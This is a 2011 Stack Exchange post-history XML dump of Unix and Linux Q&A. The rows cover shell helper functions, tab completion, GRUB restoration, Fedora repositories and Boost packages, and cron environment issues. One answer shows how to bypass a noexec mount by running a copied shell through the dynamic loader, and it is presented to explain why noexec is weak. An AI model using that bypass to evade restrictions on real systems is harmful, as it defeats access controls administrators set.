  <row Id="15700" PostHistoryTypeId="2" PostId="6828" RevisionGUID="00a9ef8e-09de-4de8-9e8c-c44b48f9c768" CreationDate="2011-02-02T22:21:48.827" UserId="3169" Text="**make a directory and cd in one command**&#xD;&#xA;&#xD;&#xA;Most of the time I do `mkdir`, my next command is `cd &lt;that dir&gt;`.&#xD;&#xA;&#xD;&#xA;This saves some typing:&#xD;&#xA;&#xD;&#xA;    # make a directory and cd to it&#xD;&#xA;    mcd()&#xD;&#xA;    {&#xD;&#xA;        test -d &quot;$1&quot; || mkdir &quot;$1&quot; &amp;&amp; cd &quot;$1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for example:&#xD;&#xA;&#xD;&#xA;    /home/mikel$ mcd somedir&#xD;&#xA;    /home/mikel/somedir$ &#xD;&#xA;&#xD;&#xA;Another thing I find useful is an easy way to make a throwaway directory.  e.g. if I'm compiling a program or even if I'm trying to reproduce a problem on this site.  Sometimes I might forget to clean up the directory.&#xD;&#xA;&#xD;&#xA;    # make a temporary directory and cd to it&#xD;&#xA;    mtd()&#xD;&#xA;    {&#xD;&#xA;        local dir&#xD;&#xA;        dir=$(mktemp -d)&#xD;&#xA;        if test -n &quot;$dir&quot;&#xD;&#xA;        then&#xD;&#xA;            if test -d &quot;$dir&quot;&#xD;&#xA;            then&#xD;&#xA;                echo &quot;$dir&quot;&#xD;&#xA;                cd &quot;$dir&quot;&#xD;&#xA;            else&#xD;&#xA;                echo &quot;mktemp directory $dir does not exist&quot;&#xD;&#xA;            fi&#xD;&#xA;        else&#xD;&#xA;            echo &quot;mktemp didn't work&quot;&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;showing it working:&#xD;&#xA;&#xD;&#xA;    /home/mikel$ mtd&#xD;&#xA;    /tmp/tmp.wsnZjJ2KN6&#xD;&#xA;    /tmp/tmp.wsnZjJ2KN6$ &#xD;&#xA;&#xD;&#xA;I am relying on the system cleaning up `/tmp` after a reboot, but it would be possible to enhance this, e.g. make it delete the temp dir after exiting the shell." />
  <row Id="15701" PostHistoryTypeId="5" PostId="6819" RevisionGUID="b859c977-fafc-40fa-b19b-b6e6fd66726c" CreationDate="2011-02-02T22:23:06.847" UserId="1078" Comment="added 410 characters in body; added 182 characters in body" Text="GNU `find` has the `-samefile` test. According to the man page:&#xD;&#xA;&#xD;&#xA;&gt;     -samefile name&#xD;&#xA;&gt;         File refers to the same inode as name. When -L is in &#xD;&#xA;&gt;         effect, this can include symbolic links.&#xD;&#xA;&#xD;&#xA;    $ find -L / -samefile /path/to/file&#xD;&#xA;&#xD;&#xA;This will find all links to `/path/to/file`, which includes hard links and the file itself. If you only want symlinks, you can individually test the results of `find` (`test -L`).&#xD;&#xA;&#xD;&#xA;You should read up on what the effects of `-L` are and ensure that it won't cause you any problems with your search.&#xD;&#xA;&#xD;&#xA;Note: While the documentation says it looks for files with the same inode number, it does appear to work across filesystems.&#xD;&#xA;&#xD;&#xA;e.g. /home and /tmp are separate filesystems&#xD;&#xA;&#xD;&#xA;    $ touch ~/testfile&#xD;&#xA;    $ ln -s ~/testfile /tmp/foo&#xD;&#xA;    $ ln -s /tmp/foo /tmp/bar&#xD;&#xA;    $ mkdir /tmp/x&#xD;&#xA;    $ ln -s ~/testfile /tmp/x/baz&#xD;&#xA;    $ find -L /tmp -samefile ~/testfile&#xD;&#xA;    /tmp/bar&#xD;&#xA;    /tmp/foo&#xD;&#xA;    /tmp/x/baz&#xD;&#xA;&#xD;&#xA;Note how this is returning /tmp/bar, which is a symlink to /tmp/foo, which is a symlink to ~/testfile. If you only wanted to find direct symlinks to your target file, this wont work." />
  <row Id="15702" PostHistoryTypeId="13" PostId="6819" RevisionGUID="141606f6-3a5c-41a2-b69a-f950321099e8" CreationDate="2011-02-02T22:23:12.400" UserId="1078" Text="[{&quot;Id&quot;:1078,&quot;DisplayName&quot;:&quot;camh&quot;}]" />
  <row Id="15703" PostHistoryTypeId="2" PostId="6829" RevisionGUID="7de2a955-7b29-4eb0-af87-8bb98eb17cc6" CreationDate="2011-02-02T22:33:48.097" UserId="1131" Text="I googled a bit around with 'fedora add repository' and got some outdated and not very helpful links. Because of the noise I missed this link:&#xD;&#xA;&#xD;&#xA;http://docs.fedoraproject.org/en-US/Fedora_Core/3/html/Software_Management_Guide/sn-using-repositories.html&#xD;&#xA;&#xD;&#xA;Which is kind of outdated as well, but it gives me the hint to look for an updated version of the software management guide:&#xD;&#xA;&#xD;&#xA;[Add New Repositories][1]&#xD;&#xA;&#xD;&#xA;(which also mentions the wget method I used to add a .repo file)&#xD;&#xA;&#xD;&#xA;I am a bit surprised that the official and as it seems quite extensive fedora documentation is not higher scored in the google results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.fedoraproject.org/en-US/Fedora/14/html/Software_Management_Guide/ch04s08.html#id865515" />
  <row Id="15704" PostHistoryTypeId="5" PostId="6826" RevisionGUID="68aaf167-16d2-4ac5-8fb0-9236d73e136c" CreationDate="2011-02-02T22:33:54.813" UserId="3309" Comment="Thoroughly expanded answer." Text="The `noexec` flag will appropriately apply to scripts, because that would be the &quot;expected&quot; behavior.&#xD;&#xA;&#xD;&#xA;However, setting `noexec` only stops people who don't know enough about what they're doing. When you run `sh foo.sh` you're actually running `sh` from its default location (probably `/bin`) which is not on a filesystem mounted with `noexec`.&#xD;&#xA;&#xD;&#xA;You can even get around `noexec` for regular binary files by invoking `ld` directly.&#xD;&#xA;&#xD;&#xA;    cp /bin/sh $HOME&#xD;&#xA;    /lib/ld-2.7.so $HOME/bash&#xD;&#xA;&#xD;&#xA;This will run bash, regardless of wether or not it's on a filesystem mounted with `noexec`." />
  <row Id="15705" PostHistoryTypeId="4" PostId="6827" RevisionGUID="919046d4-28fe-41c4-a495-a14dcd4afad6" CreationDate="2011-02-02T22:34:37.693" UserId="1131" Comment="spelling" Text="How to add a repository on Fedora?" />
  <row Id="15706" PostHistoryTypeId="2" PostId="6830" RevisionGUID="2077eacc-dac9-4fd3-bfff-3148a3497800" CreationDate="2011-02-02T22:35:14.480" UserId="1078" Text="The pwd shell built-in uses the path the shell keeps track of when you `cd` (and stores it in `$PWD`). This means if you have a symlink to a complex (deep) path, it will tell you what you typed to change to that directory instead of the real path. This is done to give you what you want most of the time.&#xD;&#xA;&#xD;&#xA;`/bin/pwd` uses the `getcwd` system call (which these days is a library call, reading `/proc/self/cwd`) which returns the canonical path for the current directory, sans all symlink traversals.&#xD;&#xA;&#xD;&#xA;As Steven D pointed out, `pwd` has the `-P` option to ignore `$PWD`. It also has the `-L` option to return the contents of `$PWD`. The man page for `pwd` does not say which option is used by default but from experience tells me the above description is correct (shell `pwd` vs. `/bin/pwd`). However you should probably not rely on that and just use `pwd -P`." />
  <row Id="15707" PostHistoryTypeId="2" PostId="6831" RevisionGUID="cc14209c-3528-4398-bdaf-7b949f6f17df" CreationDate="2011-02-02T22:53:25.993" UserId="1131" Text="The boost C++ library consists of several components. Some components do include shared libraries, other don't.&#xD;&#xA;&#xD;&#xA;Under a Fedora 14 system I've looked a bit around with `yum search boost` and `rpm -qR` and indeed like with other distributions the boost library is split into several packages.&#xD;&#xA;&#xD;&#xA;For example there is boost-program-options which only contains the shared libraries of the boost program-options component.&#xD;&#xA;&#xD;&#xA;It seems that package `boost` depends on all shared-library sub-packages. There is `boost-devel` which seems to provide all headers and depends on all shared-library sub-packages (via boost).&#xD;&#xA;&#xD;&#xA;Am I right that it is not possible to just install the boost headers via yum (using the default repositories) without all boost shared library packages?&#xD;&#xA;" />
  <row Id="15708" PostHistoryTypeId="1" PostId="6831" RevisionGUID="cc14209c-3528-4398-bdaf-7b949f6f17df" CreationDate="2011-02-02T22:53:25.993" UserId="1131" Text="Are the boost headers separately packaged under Fedora?" />
  <row Id="15709" PostHistoryTypeId="3" PostId="6831" RevisionGUID="cc14209c-3528-4398-bdaf-7b949f6f17df" CreationDate="2011-02-02T22:53:25.993" UserId="1131" Text="éfedoraàéyumàéboostà" />
  <row Id="15710" PostHistoryTypeId="2" PostId="6832" RevisionGUID="89b321d4-025f-4db6-8528-e27839a4ad23" CreationDate="2011-02-02T23:05:04.230" UserId="732" Text="You can also get this error (or a very, very similar message) if you try to execute a file with MS-DOS 2-byte (carriage-return linefeed) line endings.&#xD;&#xA;&#xD;&#xA;Vim is so smart these days, that it doesn't neccessarily show you the carriage returns as '^M'.  So you can get fooled if you don't check what Vim thinks the &quot;file format&quot; is and just rely on the on-screen-appearance.&#xD;&#xA;&#xD;&#xA;In this case the &quot;#!/bin/sh^M&quot; causes the kernel to try to find &quot;/bin/sh^M&quot;, which it can't. Bad interpreter, indeed." />
  <row Id="15711" PostHistoryTypeId="25" PostId="6809" RevisionGUID="d67a8352-22ab-475a-be59-1e1bd1f0c4e2" CreationDate="2011-02-02T23:16:27.130" Comment="http://twitter.com/#!/StackUnix/status/32940437899579392" />
  <row Id="15713" PostHistoryTypeId="2" PostId="6834" RevisionGUID="d3aced7d-838d-442e-81fb-25d5d57fbb38" CreationDate="2011-02-03T00:06:02.463" UserId="1836" Text="I upgraded my ubuntu and that resulted in its grub loader being used. I have a triboot of windows, ubuntu and suse. I prefer the suse bootloader which I was using before the ubuntu updates. I would like to restore the suse boot loader from yast. How do i do it?" />
  <row Id="15714" PostHistoryTypeId="1" PostId="6834" RevisionGUID="d3aced7d-838d-442e-81fb-25d5d57fbb38" CreationDate="2011-02-03T00:06:02.463" UserId="1836" Text="restore suse grub" />
  <row Id="15715" PostHistoryTypeId="3" PostId="6834" RevisionGUID="d3aced7d-838d-442e-81fb-25d5d57fbb38" CreationDate="2011-02-03T00:06:02.463" UserId="1836" Text="éubuntuàégrubàéopensuseàédualöbootà" />
  <row Id="15716" PostHistoryTypeId="2" PostId="6835" RevisionGUID="1acccc5d-bc2b-4b4c-9690-3a00d328abaa" CreationDate="2011-02-03T00:46:06.977" UserId="3887" Text="Though the best answer was given, [this site states otherwise][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.roesler-ac.de/wolfram/acro/credits.htm#1&#xD;&#xA;&#xD;&#xA;&gt; Actually, it stands for `Copy and&#xD;&#xA;&gt; Convert' and was renamed to `dd` only&#xD;&#xA;&gt; because `cc' was reserved for the C&#xD;&#xA;&gt; compiler! This is the authentic&#xD;&#xA;&gt; information I got from the man pages&#xD;&#xA;&gt; of our Unix-V7 on our university PDP&#xD;&#xA;&gt; 11." />
  <row Id="15717" PostHistoryTypeId="5" PostId="6802" RevisionGUID="d9cb65a6-4262-4f4b-80b4-100c2a8ee62e" CreationDate="2011-02-03T01:34:00.900" UserId="4358" Comment="deleted 16 characters in body" Text="If you want to install that specific package you can just do&#xD;&#xA;&gt; wget http://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/subversion-1.6.11-7.el5.src.rpm&#xD;&#xA;&#xD;&#xA;&gt; rpmbuild --rebuild subversion-1.6.11-7.el5.src.rpm&#xD;&#xA;&#xD;&#xA;However the rpmforge repo has 1.6.6 in it, so you can enable that repo if you wish.&#xD;&#xA;&gt; rpm -ivh http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm&#xD;&#xA;&#xD;&#xA;&gt; yum update subversion&#xD;&#xA;&#xD;&#xA;Assuming of course that x86_64 is your arch, if not you can change that to `i386`" />
  <row Id="15718" PostHistoryTypeId="25" PostId="6800" RevisionGUID="18bb228d-3f82-49b2-b798-830db5385f08" CreationDate="2011-02-03T02:16:27.707" Comment="http://twitter.com/#!/StackUnix/status/32985738832248832" />
  <row Id="15720" PostHistoryTypeId="5" PostId="6823" RevisionGUID="b84ef3ce-bb2e-4164-9a61-880cc7d085c9" CreationDate="2011-02-03T02:55:04.963" UserId="3169" Comment="add missing backtick" Text="**better tab completion**&#xD;&#xA;&#xD;&#xA;I don't think anyone mentioned customizing &lt;kbd&gt;Tab&lt;/kbd&gt; completion yet.&#xD;&#xA;&#xD;&#xA;Here's what I have.&#xD;&#xA;&#xD;&#xA;The two main things it does are:&#xD;&#xA;&#xD;&#xA;  * each command will tab complete depending on what the command is expecting  &#xD;&#xA;    e.g. `cd &lt;Tab&gt;` will only suggest directories&#xD;&#xA;  * ignore case  &#xD;&#xA;    e.g. `d&lt;Tab&gt;` will still complete `Desktop` and `Downloads`&#xD;&#xA;&#xD;&#xA;For bash:&#xD;&#xA;&#xD;&#xA;    # custom tab completions&#xD;&#xA;    if type complete &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;        if complete -o &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;        then&#xD;&#xA;            COMPDEF=&quot;-o complete&quot;&#xD;&#xA;        else&#xD;&#xA;            COMPDEF=&quot;-o default&quot;&#xD;&#xA;        fi&#xD;&#xA;        complete -a alias unalias&#xD;&#xA;        complete -d cd pushd popd pd po&#xD;&#xA;        complete $COMPDEF -g chgrp 2&gt;/dev/null&#xD;&#xA;        complete $COMPDEF -u chown&#xD;&#xA;        complete -j fg&#xD;&#xA;        complete -j kill&#xD;&#xA;        complete $COMPDEF -c command&#xD;&#xA;        complete $COMPDEF -c exec&#xD;&#xA;        complete $COMPDEF -c man&#xD;&#xA;        complete -e printenv&#xD;&#xA;        complete -G &quot;*.java&quot; javac&#xD;&#xA;        complete -F complete_runner -o nospace -o default nohup 2&gt;/dev/null&#xD;&#xA;        complete -F complete_runner -o nospace -o default sudo 2&gt;/dev/null&#xD;&#xA;        complete -F complete_services service&#xD;&#xA;        # completion function for commands such as sudo that take a&#xD;&#xA;        # command as the first argument but should complete the second&#xD;&#xA;        # argument as if it was the first&#xD;&#xA;        complete_runner()&#xD;&#xA;        {&#xD;&#xA;            # completing the command name&#xD;&#xA;            # $1 = sudo&#xD;&#xA;            # $3 = sudo&#xD;&#xA;            # $2 = partial command (or complete command but no space was typed)&#xD;&#xA;            if test &quot;$1&quot; = &quot;$3&quot;&#xD;&#xA;            then&#xD;&#xA;                set -- `compgen -c &quot;$2&quot;`&#xD;&#xA;            # completing other arguments&#xD;&#xA;            else&#xD;&#xA;                # $1 = sudo&#xD;&#xA;                # $3 = command after sudo (i.e. second word)&#xD;&#xA;                # $2 = arguments to command&#xD;&#xA;                # use the custom completion as printed by complete -p,&#xD;&#xA;                # fall back to filename/bashdefault&#xD;&#xA;                local comps&#xD;&#xA;                comps=`complete -p &quot;$3&quot; 2&gt;/dev/null`&#xD;&#xA;                # &quot;complete -o default -c man&quot; =&gt; &quot;-o default -c&quot;&#xD;&#xA;                # &quot;&quot; =&gt; &quot;-o bashdefault -f&quot;&#xD;&#xA;                comps=${comps#complete }&#xD;&#xA;                comps=${comps% *}&#xD;&#xA;                comps=${comps:--o bashdefault -f}&#xD;&#xA;                set -- `compgen $comps &quot;$2&quot;`&#xD;&#xA;            fi&#xD;&#xA;            COMPREPLY=(&quot;$@&quot;)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        # completion function for Red Hat service command&#xD;&#xA;        complete_services()&#xD;&#xA;        {&#xD;&#xA;            OIFS=&quot;$IFS&quot;&#xD;&#xA;            IFS='&#xD;&#xA;            '&#xD;&#xA;            local i=0&#xD;&#xA;            for file in $(find /etc/init.d/ -type f -name &quot;$2*&quot; -perm -u+rx)&#xD;&#xA;            do&#xD;&#xA;                file=${file##*/}&#xD;&#xA;                COMPREPLY[$i]=$file&#xD;&#xA;                i=$(($i + 1))&#xD;&#xA;            done&#xD;&#xA;            IFS=&quot;$OIFS&quot;&#xD;&#xA;        }&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For zsh:&#xD;&#xA;&#xD;&#xA;    # set command completions&#xD;&#xA;    compctl -a {,un}alias&#xD;&#xA;    compctl -b bindkey&#xD;&#xA;    compctl -c command&#xD;&#xA;    compctl -/ {c,push,pop}d&#xD;&#xA;    compctl -E {print,set,unset}env&#xD;&#xA;    #compctl -c exec&#xD;&#xA;    compctl -f -x &quot;c[-1,exec]&quot; -c -- exec&#xD;&#xA;    compctl -j fg&#xD;&#xA;    # no -g according to zshcompctl&#xD;&#xA;    #compctl -g {ch}grp&#xD;&#xA;    compctl -j kill&#xD;&#xA;    compctl -c man&#xD;&#xA;    compctl -c nohup&#xD;&#xA;    compctl -u {ch}own&#xD;&#xA;    compctl -o {set,unset}opt&#xD;&#xA;    compctl -f -x &quot;c[-1,sudo]&quot; -c -- sudo&#xD;&#xA;    compctl -c {whence,where,which}&#xD;&#xA;    compctl -M '' 'm:{a-zA-Z}={A-Za-z}'&#xD;&#xA;&#xD;&#xA;    # make file name completion case-insensitive&#xD;&#xA;    zstyle ':completion:*' matcher-list '' 'm:{a-zA-Z}={A-Za-z}'&#xD;&#xA;" />
  <row Id="15721" PostHistoryTypeId="2" PostId="6836" RevisionGUID="aa63ba7e-6bb9-405a-bff3-29bc9030463f" CreationDate="2011-02-03T03:16:17.223" UserId="3976" Text="Looking at the boost-devel package, it requires the boost package of the same version.  Here is what the boost-devel package requires:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ rpm -qRp boost-devel-1.44.0-7.fc14.x86_64.rpm &#xD;&#xA;    boost = 1.44.0-7.fc14&#xD;&#xA;    cmake  &#xD;&#xA;    libboost_date_time-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_date_time.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_filesystem-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_filesystem.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_graph-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_graph.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_iostreams-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_iostreams.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_prg_exec_monitor-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_prg_exec_monitor.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_program_options-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_program_options.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_python-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_python.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_random-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_random.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_regex-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_regex.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_serialization-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_serialization.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_signals-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_signals.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_system-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_system.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_thread-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_unit_test_framework-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_unit_test_framework.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_wave-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_wserialization-mt.so.1.44.0()(64bit)  &#xD;&#xA;    libboost_wserialization.so.1.44.0()(64bit)  &#xD;&#xA;    rpmlib(CompressedFileNames) &lt;= 3.0.4-1&#xD;&#xA;    rpmlib(FileDigests) &lt;= 4.6.0-1&#xD;&#xA;    rpmlib(PayloadFilesHavePrefix) &lt;= 4.0-1&#xD;&#xA;    rpmlib(VersionedDependencies) &lt;= 3.0.3-1&#xD;&#xA;    rpmlib(PayloadIsXz) &lt;= 5.2-1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15722" PostHistoryTypeId="2" PostId="6837" RevisionGUID="eff0bab5-b7af-4278-bf5d-86890997115f" CreationDate="2011-02-03T03:39:42.987" UserId="3976" Text="You'll want to boot into SuSE, and run (as root) `grub-install /dev/sda` (replace /dev/sda with the boot device on your computer.  You'll want to update your /boot/grub/menu.lst in SuSE to include an entry for Ubuntu." />
  <row Id="15723" PostHistoryTypeId="2" PostId="6838" RevisionGUID="692ff529-98db-49dd-82f6-d1963782bf28" CreationDate="2011-02-03T03:40:34.763" UserId="250" Text="The generic procedure to restore Grub is&#xD;&#xA;&#xD;&#xA; 1. Boot into something Linux (either live CD or on disk, but must have Grub commands available) -- I don't know about other *nix&#xD;&#xA; 2. Mount the partition that holds the OS with Grub to be fixed, be sure to mount the separated boot partition if you have it&#xD;&#xA; 3. Issue the following command, remember to replace `/mnt/suse` and `/dev/sda` with your mount point and device  &#xD;&#xA;    `grub-setup -d /mnt/suse /dev/sda`&#xD;&#xA;&#xD;&#xA;Alternatively, after step 2, you can `chroot` to `/mnt/suse` and from there execute&#xD;&#xA;&#xD;&#xA;    grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;I find the [Ubuntu help page][1] very informative at this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Grub2#Reinstalling%20GRUB%202" />
  <row Id="15724" PostHistoryTypeId="2" PostId="6839" RevisionGUID="07615597-5580-43c6-a47e-ea53250394d8" CreationDate="2011-02-03T04:05:16.143" UserId="3976" Text="I like to have my bash prompt show the exit code of the previous command if it was non-zero.  I also like my shell to cheer me up when I use it, so I added a bit of silliness:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    smiley() {&#xD;&#xA;        RC=$?&#xD;&#xA;        [[ ${RC} == 0 ]] &amp;&amp; echo ':)' || echo &quot;:( ${RC}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    export PS1=&quot;\$(smiley) \h [\A] [\W] \$ &quot;&#xD;&#xA;&#xD;&#xA;so when I run commands, I get some nice visual feedback:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    :) mycomputer [23:03] [~] $ sh -c 'exit 0'&#xD;&#xA;    :) mycomputer [23:03] [~] $ sh -c 'exit 11'&#xD;&#xA;    :( 11 mycomputer [23:03] [~] $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="15725" PostHistoryTypeId="2" PostId="6840" RevisionGUID="cd9bcb23-63fb-446a-b5bd-1190199b381e" CreationDate="2011-02-03T04:12:49.277" UserId="3482" Text="Most of Boost is header only library. But there are a few that needs to be compiled. The answer from jsbillings lists them all. If you will not be using any of those libraries that require the compiled libraries then you dont have to install them. Just install the headers only.&#xD;&#xA;&#xD;&#xA;See here for: [Getting started on Unix platforms][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.boost.org/doc/libs/1_45_0/more/getting_started/unix-variants.html" />
  <row Id="15726" PostHistoryTypeId="2" PostId="6841" RevisionGUID="63fee379-8ab9-4a30-9692-96ae61a257de" CreationDate="2011-02-03T04:14:31.147" UserId="3482" Text="See here: [Howto: Add a new yum repository to install software under CentOS / Redhat Linux][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/rhel5-fedora-core-add-new-yum-repository.html" />
  <row Id="15727" PostHistoryTypeId="25" PostId="6821" RevisionGUID="ff6dba7d-a96c-4c05-bd8a-4eeb3e3c1100" CreationDate="2011-02-03T05:16:27.660" Comment="http://twitter.com/#!/StackUnix/status/33031037399343105" />
  <row Id="15728" PostHistoryTypeId="2" PostId="6842" RevisionGUID="f0845994-25c3-4ccc-a4a2-6e106d038f5b" CreationDate="2011-02-03T07:30:04.850" UserId="4425" Text="Is it possible using fluxbox to setup up a shortkey to say winkey+r that opens up a terminal (say xterm or whatever) with these properties:&#xD;&#xA;&#xD;&#xA;1) if there is already a terminal that the working directory is = ~ and it is not currently running a command (i.e. its at the prompt) then show that one. &#xD;&#xA;2) or is not create a new terminal &#xD;&#xA;" />
  <row Id="15729" PostHistoryTypeId="1" PostId="6842" RevisionGUID="f0845994-25c3-4ccc-a4a2-6e106d038f5b" CreationDate="2011-02-03T07:30:04.850" UserId="4425" Text="Fluxbox question" />
  <row Id="15730" PostHistoryTypeId="3" PostId="6842" RevisionGUID="f0845994-25c3-4ccc-a4a2-6e106d038f5b" CreationDate="2011-02-03T07:30:04.850" UserId="4425" Text="éscriptingà" />
  <row Id="15731" PostHistoryTypeId="5" PostId="6842" RevisionGUID="a1d03e37-ed1b-4e2d-ae39-68df78ce392e" CreationDate="2011-02-03T07:43:35.287" UserId="250" Comment="Make a proper list with markdown" Text="Is it possible using fluxbox to setup up a shortkey to say winkey+r that opens up a terminal (say xterm or whatever) with these properties:&#xD;&#xA;&#xD;&#xA; 1. If there is already a terminal that the working directory is = ~ and it is not currently running a command (i.e. its at the prompt) then show that one. &#xD;&#xA; 2. Or if not create a new terminal &#xD;&#xA;" />
  <row Id="15732" PostHistoryTypeId="2" PostId="6843" RevisionGUID="c78d65b7-598f-4d40-ae74-678ad5110647" CreationDate="2011-02-03T07:48:40.467" UserId="3169" Text="Here's how I'd do it:&#xD;&#xA;&#xD;&#xA;  1. make your shell set the title to &quot;bash&quot; when at the prompt, and the name of the command when it runs a command&#xD;&#xA;  1. create a script that calls `wmctrl` to list open windows, then:&#xD;&#xA;      + if `wmctrl` finds a window with a title of &quot;bash&quot;, raise it&#xD;&#xA;      + else start an `xterm`&#xD;&#xA;  1. use `xbindkeys` to call that script when you press your shortcut&#xD;&#xA;&#xD;&#xA;For (1), it depends on if you are using `bash` or `zsh`.  In bash, you will need something like [preexec.bash][1]; in zsh, you can add a `preexec` hook.&#xD;&#xA;&#xD;&#xA;For (2), use `wmctrl -d` to list, then `wmctrl -a` to raise it, else just call `xterm`.&#xD;&#xA;&#xD;&#xA;For (3), assuming your script is called `/usr/local/bin/bashprompt`, make a file `~/.xbindkeysrc` containing:&#xD;&#xA;&#xD;&#xA;    &quot;/usr/local/bin/bashprompt&quot;&#xD;&#xA;        Mod4 + r&#xD;&#xA;&#xD;&#xA;then run `xbindkeys`.  Add it to your `.Xclients` file or similar to make it start up automatically.&#xD;&#xA;  [1]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="15733" PostHistoryTypeId="5" PostId="6843" RevisionGUID="a03c6a23-7b52-4a58-927f-2aba5745b5f9" CreationDate="2011-02-03T07:54:27.557" UserId="3169" Comment="wmctrl -l, not -d" Text="Here's how I'd do it:&#xD;&#xA;&#xD;&#xA;  1. make your shell set the title to &quot;bash&quot; when at the prompt, and the name of the command when it runs a command, or anything so you can tell them apart&#xD;&#xA;  1. create a script that calls `wmctrl` to list open windows, then:&#xD;&#xA;      + if `wmctrl` finds a window with a title of &quot;bash&quot;, raise it&#xD;&#xA;      + else start an `xterm`&#xD;&#xA;  1. use `xbindkeys` to call that script when you press your shortcut&#xD;&#xA;&#xD;&#xA;For (1), it depends on if you are using `bash` or `zsh`.  In bash, you will need something like [preexec.bash][1]; in zsh, you can add a `preexec` hook.&#xD;&#xA;&#xD;&#xA;For (2), use `wmctrl -l` to list windows, then `wmctrl -a &lt;id returned by wmctrl -l&gt;` to raise it, else just call `xterm`.&#xD;&#xA;&#xD;&#xA;For (3), assuming your script is called `/usr/local/bin/bashprompt`, make a file `~/.xbindkeysrc` containing:&#xD;&#xA;&#xD;&#xA;    &quot;/usr/local/bin/bashprompt&quot;&#xD;&#xA;        Mod4 + r&#xD;&#xA;&#xD;&#xA;then run `xbindkeys`.  Add it to your `.Xclients` file or similar to make it start up automatically.&#xD;&#xA;  [1]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="15734" PostHistoryTypeId="5" PostId="6794" RevisionGUID="d3b18130-9a04-4b76-afa5-0f485bb0a1f3" CreationDate="2011-02-03T08:07:58.227" UserId="3372" Comment="added 616 characters in body" Text="According to the man:&#xD;&#xA;&#xD;&#xA;&gt;    The cron daemon starts a subshell&#xD;&#xA;&gt; from your HOME directory. If you&#xD;&#xA;&gt; schedule a command to run when you are&#xD;&#xA;&gt; not    logged in and you want commands&#xD;&#xA;&gt; in your .profile file to run, the&#xD;&#xA;&gt; command must explicitly read your&#xD;&#xA;&gt; .profile    file.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    The cron daemon supplies a default&#xD;&#xA;&gt; environment for every shell, defining&#xD;&#xA;&gt; HOME, LOGNAME, SHELL (=/usr/bin/sh),  &#xD;&#xA;&gt; and PATH (=/usr/bin).&#xD;&#xA;&#xD;&#xA;So cron daemon doesn't know where php is and you should specify the full php path by hand, for example (I don't know your real PHP path):&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /usr/local/bin/php /home/v/file.php&#xD;&#xA;    sh /root/x/some.sh&#xD;&#xA;&#xD;&#xA;Another way is to source the /etc/profile (or your .profile/.bashrc), for example&#xD;&#xA;&#xD;&#xA;    * * * * * . /home/v/.bashrc ; sh /home/v/test.sh&#xD;&#xA;&#xD;&#xA;This is useful if your .bashrc set the environment variables that you need (i.e. PATH)&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;An interesting reading is &quot;[Newbie: Intro to cron][1]&quot;, don't undervalue the article from the title (It's a reading for everybody), in fact it's well written complete and answer perfectly to your question:&#xD;&#xA;&#xD;&#xA;&gt; ...  &#xD;&#xA;&gt; PATH contains the directories which&#xD;&#xA;&gt; will be in the search path for cron &#xD;&#xA;&gt; e.g if you've got a program 'foo' in&#xD;&#xA;&gt; the directory /usr/cog/bin, it might &#xD;&#xA;&gt; be worth adding /usr/cog/bin to the&#xD;&#xA;&gt; path, as it will stop you having to&#xD;&#xA;&gt; use the full path to 'foo' every time&#xD;&#xA;&gt; you want to call it.  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 